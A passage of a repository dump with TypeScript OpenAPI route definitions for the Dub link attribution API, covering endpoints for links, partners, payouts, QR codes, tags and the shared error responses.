    "content": "import { createDocument } from \"zod-openapi\";\nimport { webhookEventSchema } from \"../webhook/schemas\";\nimport { DomainSchema } from \"../zod/schemas/domains\";\nimport { FolderSchema } from \"../zod/schemas/folders\";\nimport { LinkErrorSchema, LinkSchema } from \"../zod/schemas/links\";\nimport { LinkTagSchema } from \"../zod/schemas/tags\";\nimport { analyticsPath } from \"./analytics\";\nimport { bountiesPaths } from \"./bounties\";\nimport { commissionsPaths } from \"./commissions\";\nimport { customersPaths } from \"./customers\";\nimport { domainsPaths } from \"./domains\";\nimport { embedTokensPaths } from \"./embed-tokens\";\nimport { eventsPath } from \"./events\";\nimport { foldersPaths } from \"./folders\";\nimport { linksPaths } from \"./links\";\nimport { partnersPaths } from \"./partners\";\nimport { payoutsPaths } from \"./payouts\";\nimport { qrCodePaths } from \"./qr\";\nimport { openApiErrorResponsesComponents } from \"./responses\";\nimport { tagsPaths } from \"./tags\";\nimport { trackPaths } from \"./track\";\n\nexport const document = createDocument({\n  openapi: \"3.0.3\",\n  info: {\n    title: \"Dub API\",\n    description:\n      \"Dub is the modern link attribution platform for short links, conversion tracking, and affiliate programs.\",\n    version: \"0.0.1\",\n    contact: {\n      name: \"Dub Support\",\n      email: \"support@dub.co\",\n      url: \"https://dub.co/support\",\n    },\n    license: {\n      name: \"AGPL-3.0 license\",\n      url: \"https://github.com/dubinc/dub/blob/main/LICENSE.md\",\n    },\n  },\n  servers: [\n    {\n      url: \"https://api.dub.co\",\n      description: \"Production API\",\n    },\n  ],\n  paths: {\n    ...linksPaths,\n    ...analyticsPath,\n    ...eventsPath,\n    ...tagsPaths,\n    ...foldersPaths,\n    ...domainsPaths,\n    ...trackPaths,\n    ...customersPaths,\n    ...partnersPaths,\n    ...commissionsPaths,\n    ...payoutsPaths,\n    ...embedTokensPaths,\n    ...qrCodePaths,\n    ...bountiesPaths,\n  },\n  components: {\n    schemas: {\n      LinkSchema,\n      LinkTagSchema,\n      FolderSchema,\n      DomainSchema,\n      webhookEventSchema,\n      LinkErrorSchema,\n    },\n    securitySchemes: {\n      token: {\n        type: \"http\",\n        description: \"Default authentication mechanism\",\n        scheme: \"bearer\",\n        \"x-speakeasy-example\": \"DUB_API_KEY\",\n      },\n    },\n    responses: {\n      ...openApiErrorResponsesComponents,\n    },\n  },\n});\n"
  },
  {
    "path": "apps/web/lib/openapi/links/bulk-create-links.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  LinkErrorSchema,\n  LinkSchema,\n  createLinkBodySchema,\n} from \"@/lib/zod/schemas/links\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const bulkCreateLinks: ZodOpenApiOperationObject = {\n  operationId: \"bulkCreateLinks\",\n  \"x-speakeasy-name-override\": \"createMany\",\n  summary: \"Bulk create links\",\n  description: \"Bulk create up to 100 links for the authenticated workspace.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: z.array(createLinkBodySchema),\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The created links\",\n      content: {\n        \"application/json\": {\n          schema: z.array(z.union([LinkSchema, LinkErrorSchema])).meta({\n            type: \"array\",\n            items: {\n              oneOf: [\n                { $ref: \"#/components/schemas/LinkSchema\" },\n                { $ref: \"#/components/schemas/LinkErrorSchema\" },\n              ],\n            },\n          }),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Links\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/links/bulk-delete-links.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const bulkDeleteLinks: ZodOpenApiOperationObject = {\n  operationId: \"bulkDeleteLinks\",\n  \"x-speakeasy-name-override\": \"deleteMany\",\n  summary: \"Bulk delete links\",\n  description: \"Bulk delete up to 100 links for the authenticated workspace.\",\n  requestParams: {\n    query: z.object({\n      linkIds: z.array(z.string()).meta({\n        example: [\"clux0rgak00011...\", \"clux0rgak00022...\"],\n        param: { explode: false, style: \"form\" },\n        description:\n          \"Comma-separated list of link IDs to delete. Maximum of 100 IDs. Non-existing IDs will be ignored.\",\n      }),\n    }),\n  },\n  responses: {\n    \"200\": {\n      description: \"The deleted links count.\",\n      content: {\n        \"application/json\": {\n          schema: z.object({\n            deletedCount: z.number().meta({\n              description: \"The number of links deleted.\",\n            }),\n          }),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Links\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/links/bulk-update-links.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { LinkSchema, bulkUpdateLinksBodySchema } from \"@/lib/zod/schemas/links\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const bulkUpdateLinks: ZodOpenApiOperationObject = {\n  operationId: \"bulkUpdateLinks\",\n  \"x-speakeasy-name-override\": \"updateMany\",\n  summary: \"Bulk update links\",\n  description:\n    \"Bulk update up to 100 links with the same data for the authenticated workspace.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: bulkUpdateLinksBodySchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The updated links\",\n      content: {\n        \"application/json\": {\n          schema: z.array(LinkSchema),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Links\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/links/create-link.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { LinkSchema, createLinkBodySchema } from \"@/lib/zod/schemas/links\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const createLink: ZodOpenApiOperationObject = {\n  operationId: \"createLink\",\n  \"x-speakeasy-name-override\": \"create\",\n  \"x-speakeasy-usage-example\": true,\n  summary: \"Create a link\",\n  description: \"Create a link for the authenticated workspace.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: createLinkBodySchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The created link\",\n      content: {\n        \"application/json\": {\n          schema: LinkSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Links\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/links/delete-link.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const deleteLink: ZodOpenApiOperationObject = {\n  operationId: \"deleteLink\",\n  \"x-speakeasy-name-override\": \"delete\",\n  \"x-speakeasy-max-method-params\": 1,\n  summary: \"Delete a link\",\n  description: \"Delete a link for the authenticated workspace.\",\n  requestParams: {\n    path: z.object({\n      linkId: z.string().meta({\n        description:\n          \"The id of the link to delete. You may use either `linkId` (obtained via `/links/info` endpoint) or `externalId` prefixed with `ext_`.\",\n      }),\n    }),\n  },\n  responses: {\n    \"200\": {\n      description: \"The deleted link ID.\",\n      content: {\n        \"application/json\": {\n          schema: z.object({\n            id: z.string().meta({ description: \"The ID of the link.\" }),\n          }),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Links\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/links/get-link-info.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { getLinkInfoQuerySchema, LinkSchema } from \"@/lib/zod/schemas/links\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const getLinkInfo: ZodOpenApiOperationObject = {\n  operationId: \"getLinkInfo\",\n  \"x-speakeasy-name-override\": \"get\",\n  summary: \"Retrieve a link\",\n  description: \"Retrieve the info for a link.\",\n  requestParams: {\n    query: getLinkInfoQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"The retrieved link\",\n      content: {\n        \"application/json\": {\n          schema: LinkSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Links\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/links/get-links-count.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { getLinksCountQuerySchema } from \"@/lib/zod/schemas/links\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const getLinksCount: ZodOpenApiOperationObject = {\n  operationId: \"getLinksCount\",\n  \"x-speakeasy-name-override\": \"count\",\n  summary: \"Retrieve links count\",\n  description: \"Retrieve the number of links for the authenticated workspace.\",\n  requestParams: {\n    query: getLinksCountQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"A list of links\",\n      content: {\n        \"application/json\": {\n          schema: z.number().meta({\n            description: \"The number of links matching the query.\",\n          }),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Links\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/links/get-links.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { getLinksQuerySchemaBase, LinkSchema } from \"@/lib/zod/schemas/links\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const getLinks: ZodOpenApiOperationObject = {\n  operationId: \"getLinks\",\n  \"x-speakeasy-name-override\": \"list\",\n  \"x-speakeasy-pagination\": {\n    type: \"offsetLimit\",\n    inputs: [\n      {\n        name: \"page\",\n        in: \"parameters\",\n        type: \"page\",\n      },\n      {\n        name: \"pageSize\",\n        in: \"parameters\",\n        type: \"limit\",\n      },\n    ],\n    outputs: {\n      results: \"$\",\n    },\n  },\n  summary: \"Retrieve a list of links\",\n  description:\n    \"Retrieve a paginated list of links for the authenticated workspace.\",\n  requestParams: {\n    query: getLinksQuerySchemaBase,\n  },\n  responses: {\n    \"200\": {\n      description: \"A list of links\",\n      content: {\n        \"application/json\": {\n          schema: z.array(LinkSchema),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Links\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/links/index.ts",
    "content": "import { ZodOpenApiPathsObject } from \"zod-openapi\";\nimport { bulkCreateLinks } from \"./bulk-create-links\";\nimport { bulkDeleteLinks } from \"./bulk-delete-links\";\nimport { bulkUpdateLinks } from \"./bulk-update-links\";\nimport { createLink } from \"./create-link\";\nimport { deleteLink } from \"./delete-link\";\nimport { getLinkInfo } from \"./get-link-info\";\nimport { getLinks } from \"./get-links\";\nimport { getLinksCount } from \"./get-links-count\";\nimport { updateLink } from \"./update-link\";\nimport { upsertLink } from \"./upsert-link\";\n\nexport const linksPaths: ZodOpenApiPathsObject = {\n  \"/links\": {\n    post: createLink,\n    get: getLinks,\n  },\n  \"/links/count\": {\n    get: getLinksCount,\n  },\n  \"/links/info\": {\n    get: getLinkInfo,\n  },\n  \"/links/{linkId}\": {\n    patch: updateLink,\n    delete: deleteLink,\n  },\n  \"/links/bulk\": {\n    post: bulkCreateLinks,\n    patch: bulkUpdateLinks,\n    delete: bulkDeleteLinks,\n  },\n  \"/links/upsert\": {\n    put: upsertLink,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/links/update-link.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { LinkSchema, updateLinkBodySchema } from \"@/lib/zod/schemas/links\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const updateLink: ZodOpenApiOperationObject = {\n  operationId: \"updateLink\",\n  \"x-speakeasy-name-override\": \"update\",\n  \"x-speakeasy-max-method-params\": 2,\n  summary: \"Update a link\",\n  description:\n    \"Update a link for the authenticated workspace. If there's no change, returns it as it is.\",\n  requestParams: {\n    path: z.object({\n      linkId: z\n        .string()\n        .describe(\n          \"The id of the link to update. You may use either `linkId` (obtained via `/links/info` endpoint) or `externalId` prefixed with `ext_`.\",\n        ),\n    }),\n  },\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: updateLinkBodySchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The updated link\",\n      content: {\n        \"application/json\": {\n          schema: LinkSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Links\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/links/upsert-link.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { LinkSchema, createLinkBodySchema } from \"@/lib/zod/schemas/links\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const upsertLink: ZodOpenApiOperationObject = {\n  operationId: \"upsertLink\",\n  \"x-speakeasy-name-override\": \"upsert\",\n  \"x-speakeasy-usage-example\": true,\n  summary: \"Upsert a link\",\n  description:\n    \"Upsert a link for the authenticated workspace by its URL. If a link with the same URL already exists, return it (or update it if there are any changes). Otherwise, a new link will be created.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: createLinkBodySchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The upserted link\",\n      content: {\n        \"application/json\": {\n          schema: LinkSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Links\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/partners/ban-partner.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { banPartnerApiSchema } from \"@/lib/zod/schemas/partners\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const banPartner: ZodOpenApiOperationObject = {\n  operationId: \"banPartner\",\n  \"x-speakeasy-name-override\": \"ban\",\n  summary: \"Ban a partner\",\n  description:\n    \"Ban a partner from your program. This will disable all links and mark all commissions as canceled.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: banPartnerApiSchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The banned partner\",\n      content: {\n        \"application/json\": {\n          schema: z.object({\n            partnerId: z.string().describe(\"The ID of the banned partner.\"),\n          }),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Partners\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/partners/create-partner-link.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { LinkSchema } from \"@/lib/zod/schemas/links\";\nimport { createPartnerLinkSchema } from \"@/lib/zod/schemas/partners\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const createPartnerLink: ZodOpenApiOperationObject = {\n  operationId: \"createPartnerLink\",\n  \"x-speakeasy-name-override\": \"createLink\",\n  summary: \"Create a link for a partner\",\n  description: \"Create a link for a partner that is enrolled in your program.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: createPartnerLinkSchema,\n      },\n    },\n  },\n  responses: {\n    \"201\": {\n      description: \"The created partner link\",\n      content: {\n        \"application/json\": {\n          schema: LinkSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Partners\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/partners/create-partner.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  createPartnerSchema,\n  EnrolledPartnerSchema,\n} from \"@/lib/zod/schemas/partners\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const createPartner: ZodOpenApiOperationObject = {\n  operationId: \"createPartner\",\n  \"x-speakeasy-name-override\": \"create\",\n  summary: \"Create or update a partner\",\n  description:\n    \"Creates or updates a partner record (upsert behavior). If a partner with the same email already exists, their program enrollment will be updated with the provided tenantId. If no existing partner is found, a new partner will be created using the supplied information.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: createPartnerSchema,\n      },\n    },\n  },\n  responses: {\n    \"201\": {\n      description: \"The created or updated partner\",\n      content: {\n        \"application/json\": {\n          schema: EnrolledPartnerSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Partners\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/partners/deactivate-partner.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { deactivatePartnerApiSchema } from \"@/lib/zod/schemas/partners\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const deactivatePartner: ZodOpenApiOperationObject = {\n  operationId: \"deactivatePartner\",\n  \"x-speakeasy-name-override\": \"deactivate\",\n  summary: \"Deactivate a partner\",\n  description:\n    \"This will deactivate the partner from your program and disable all their active links. Their commissions and payouts will remain intact. You can reactivate them later if needed.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: deactivatePartnerApiSchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The deactivated partner\",\n      content: {\n        \"application/json\": {\n          schema: z.object({\n            partnerId: z\n              .string()\n              .describe(\"The ID of the deactivated partner.\"),\n          }),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Partners\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/partners/index.ts",
    "content": "import { ZodOpenApiPathsObject } from \"zod-openapi\";\nimport { banPartner } from \"./ban-partner\";\nimport { createPartner } from \"./create-partner\";\nimport { createPartnerLink } from \"./create-partner-link\";\nimport { deactivatePartner } from \"./deactivate-partner\";\nimport { listPartners } from \"./list-partners\";\nimport { retrievePartnerAnalytics } from \"./retrieve-analytics\";\nimport { retrievePartnerLinks } from \"./retrieve-partner-links\";\nimport { upsertPartnerLink } from \"./upsert-partner-link\";\n\nexport const partnersPaths: ZodOpenApiPathsObject = {\n  \"/partners\": {\n    post: createPartner,\n    get: listPartners,\n  },\n  \"/partners/links\": {\n    post: createPartnerLink,\n    get: retrievePartnerLinks,\n  },\n  \"/partners/links/upsert\": {\n    put: upsertPartnerLink,\n  },\n  \"/partners/analytics\": {\n    get: retrievePartnerAnalytics,\n  },\n  \"/partners/ban\": {\n    post: banPartner,\n  },\n  \"/partners/deactivate\": {\n    post: deactivatePartner,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/partners/list-partners.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  EnrolledPartnerSchema,\n  getPartnersQuerySchema,\n} from \"@/lib/zod/schemas/partners\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const listPartners: ZodOpenApiOperationObject = {\n  operationId: \"listPartners\",\n  \"x-speakeasy-name-override\": \"list\",\n  summary: \"List all partners\",\n  description: \"List all partners for a partner program.\",\n  requestParams: {\n    query: getPartnersQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"The list of partners.\",\n      content: {\n        \"application/json\": {\n          schema: z.array(EnrolledPartnerSchema),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Partners\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/partners/retrieve-analytics.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  partnerAnalyticsQuerySchema,\n  partnerAnalyticsResponseSchema,\n} from \"@/lib/zod/schemas/partners\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const retrievePartnerAnalytics: ZodOpenApiOperationObject = {\n  operationId: \"retrievePartnerAnalytics\",\n  \"x-speakeasy-name-override\": \"analytics\",\n  summary: \"Retrieve analytics for a partner\",\n  description:\n    \"Retrieve analytics for a partner within a program. The response type vary based on the `groupBy` query parameter.\",\n  requestParams: {\n    query: partnerAnalyticsQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"Partner analytics data\",\n      content: {\n        \"application/json\": {\n          schema: z.union([\n            partnerAnalyticsResponseSchema.count.meta({\n              id: \"PartnerAnalyticsCount\",\n            }),\n            z.array(\n              partnerAnalyticsResponseSchema.timeseries.meta({\n                id: \"PartnerAnalyticsTimeseries\",\n              }),\n            ),\n            z.array(\n              partnerAnalyticsResponseSchema.top_links.meta({\n                id: \"PartnerAnalyticsTopLinks\",\n              }),\n            ),\n          ]),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Partners\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/partners/retrieve-partner-links.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { retrievePartnerLinksSchema } from \"@/lib/zod/schemas/partners\";\nimport { ProgramPartnerLinkSchema } from \"@/lib/zod/schemas/programs\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const retrievePartnerLinks: ZodOpenApiOperationObject = {\n  operationId: \"retrieveLinks\",\n  \"x-speakeasy-name-override\": \"retrieveLinks\",\n  summary: \"Retrieve a partner's links.\",\n  description: \"Retrieve a partner's links by their partner ID or tenant ID.\",\n  requestParams: {\n    query: retrievePartnerLinksSchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"The retrieved partner links.\",\n      content: {\n        \"application/json\": {\n          schema: z.array(ProgramPartnerLinkSchema),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Partners\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/partners/upsert-partner-link.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { LinkSchema } from \"@/lib/zod/schemas/links\";\nimport { upsertPartnerLinkSchema } from \"@/lib/zod/schemas/partners\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const upsertPartnerLink: ZodOpenApiOperationObject = {\n  operationId: \"upsertPartnerLink\",\n  \"x-speakeasy-name-override\": \"upsertLink\",\n  summary: \"Upsert a link for a partner\",\n  description:\n    \"Upsert a link for a partner that is enrolled in your program. If a link with the same URL already exists, return it (or update it if there are any changes). Otherwise, a new link will be created.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: upsertPartnerLinkSchema,\n      },\n    },\n  },\n  responses: {\n    \"200\": {\n      description: \"The upserted partner link\",\n      content: {\n        \"application/json\": {\n          schema: LinkSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Partners\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/payouts/index.ts",
    "content": "import { ZodOpenApiPathsObject } from \"zod-openapi\";\nimport { listPayouts } from \"./list-payouts\";\n\nexport const payoutsPaths: ZodOpenApiPathsObject = {\n  \"/payouts\": {\n    get: listPayouts,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/payouts/list-payouts.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport {\n  PayoutResponseSchema,\n  payoutsQuerySchema,\n} from \"@/lib/zod/schemas/payouts\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const listPayouts: ZodOpenApiOperationObject = {\n  operationId: \"listPayouts\",\n  \"x-speakeasy-name-override\": \"list\",\n  summary: \"List all payouts\",\n  description: \"Retrieve a list of payouts for your partner program.\",\n  requestParams: {\n    query: payoutsQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"The list of payouts.\",\n      content: {\n        \"application/json\": {\n          schema: z.array(PayoutResponseSchema),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Payouts\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/qr/index.ts",
    "content": "import { ZodOpenApiOperationObject, ZodOpenApiPathsObject } from \"zod-openapi\";\n\nimport { getQRCodeQuerySchema } from \"@/lib/zod/schemas/qr\";\nimport * as z from \"zod/v4\";\nimport { openApiErrorResponses } from \"../responses\";\n\nexport const getQRCode: ZodOpenApiOperationObject = {\n  operationId: \"getQRCode\",\n  \"x-speakeasy-name-override\": \"get\",\n  summary: \"Retrieve a QR code\",\n  description: \"Retrieve a QR code for a link.\",\n  requestParams: {\n    query: getQRCodeQuerySchema,\n  },\n  responses: {\n    \"200\": {\n      description: \"The QR code\",\n      content: {\n        \"image/png\": {\n          schema: z.string(),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"QR Codes\"],\n};\n\nexport const qrCodePaths: ZodOpenApiPathsObject = {\n  \"/qr\": {\n    get: getQRCode,\n  },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/responses.ts",
    "content": "import { errorSchemaFactory } from \"@/lib/api/errors\";\nimport {\n  ZodOpenApiComponentsObject,\n  ZodOpenApiResponsesObject,\n} from \"zod-openapi\";\n\n// Full response objects for components.responses registration\nexport const openApiErrorResponsesComponents: ZodOpenApiComponentsObject[\"responses\"] =\n  {\n    \"400\": errorSchemaFactory(\n      \"bad_request\",\n      \"The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).\",\n    ),\n\n    \"401\": errorSchemaFactory(\n      \"unauthorized\",\n      `Although the HTTP standard specifies \"unauthorized\", semantically this response means \"unauthenticated\". That is, the client must authenticate itself to get the requested response.`,\n    ),\n\n    \"403\": errorSchemaFactory(\n      \"forbidden\",\n      \"The client does not have access rights to the content; that is, it is unauthorized, so the server is refusing to give the requested resource. Unlike 401 Unauthorized, the client's identity is known to the server.\",\n    ),\n\n    \"404\": errorSchemaFactory(\n      \"not_found\",\n      \"The server cannot find the requested resource.\",\n    ),\n\n    \"409\": errorSchemaFactory(\n      \"conflict\",\n      \"This response is sent when a request conflicts with the current state of the server.\",\n    ),\n\n    \"410\": errorSchemaFactory(\n      \"invite_expired\",\n      \"This response is sent when the requested content has been permanently deleted from server, with no forwarding address.\",\n    ),\n\n    \"422\": errorSchemaFactory(\n      \"unprocessable_entity\",\n      \"The request was well-formed but was unable to be followed due to semantic errors.\",\n    ),\n\n    \"429\": errorSchemaFactory(\n      \"rate_limit_exceeded\",\n      `The user has sent too many requests in a given amount of time (\"rate limiting\")`,\n    ),\n\n    \"500\": errorSchemaFactory(\n      \"internal_server_error\",\n      \"The server has encountered a situation it does not know how to handle.\",\n    ),\n  };\n\n// $ref references for use in operation responses\nexport const openApiErrorResponses: ZodOpenApiResponsesObject = {\n  \"400\": { $ref: \"#/components/responses/400\" },\n  \"401\": { $ref: \"#/components/responses/401\" },\n  \"403\": { $ref: \"#/components/responses/403\" },\n  \"404\": { $ref: \"#/components/responses/404\" },\n  \"409\": { $ref: \"#/components/responses/409\" },\n  \"410\": { $ref: \"#/components/responses/410\" },\n  \"422\": { $ref: \"#/components/responses/422\" },\n  \"429\": { $ref: \"#/components/responses/429\" },\n  \"500\": { $ref: \"#/components/responses/500\" },\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/tags/create-tag.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { createTagBodySchema, LinkTagSchema } from \"@/lib/zod/schemas/tags\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\n\nexport const createTag: ZodOpenApiOperationObject = {\n  operationId: \"createTag\",\n  \"x-speakeasy-name-override\": \"create\",\n  summary: \"Create a tag\",\n  description: \"Create a tag for the authenticated workspace.\",\n  requestBody: {\n    content: {\n      \"application/json\": {\n        schema: createTagBodySchema,\n      },\n    },\n  },\n  responses: {\n    \"201\": {\n      description: \"The created tag\",\n      content: {\n        \"application/json\": {\n          schema: LinkTagSchema,\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Tags\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/tags/delete-tag.ts",
    "content": "import { openApiErrorResponses } from \"@/lib/openapi/responses\";\nimport { ZodOpenApiOperationObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\n\nexport const deleteTag: ZodOpenApiOperationObject = {\n  operationId: \"deleteTag\",\n  \"x-speakeasy-name-override\": \"delete\",\n  \"x-speakeasy-max-method-params\": 1,\n  summary: \"Delete a tag\",\n  description:\n    \"Delete a tag from the workspace. All existing links will still work, but they will no longer be associated with this tag.\",\n  requestParams: {\n    path: z.object({\n      id: z.string().describe(\"The ID of the tag to delete.\"),\n    }),\n  },\n  responses: {\n    \"200\": {\n      description: \"The deleted tag ID.\",\n      content: {\n        \"application/json\": {\n          schema: z.object({\n            id: z.string().describe(\"The ID of the deleted tag.\"),\n          }),\n        },\n      },\n    },\n    ...openApiErrorResponses,\n  },\n  tags: [\"Tags\"],\n  security: [{ token: [] }],\n};\n"
  },
  {
    "path": "apps/web/lib/openapi/tags/get-tags.ts",
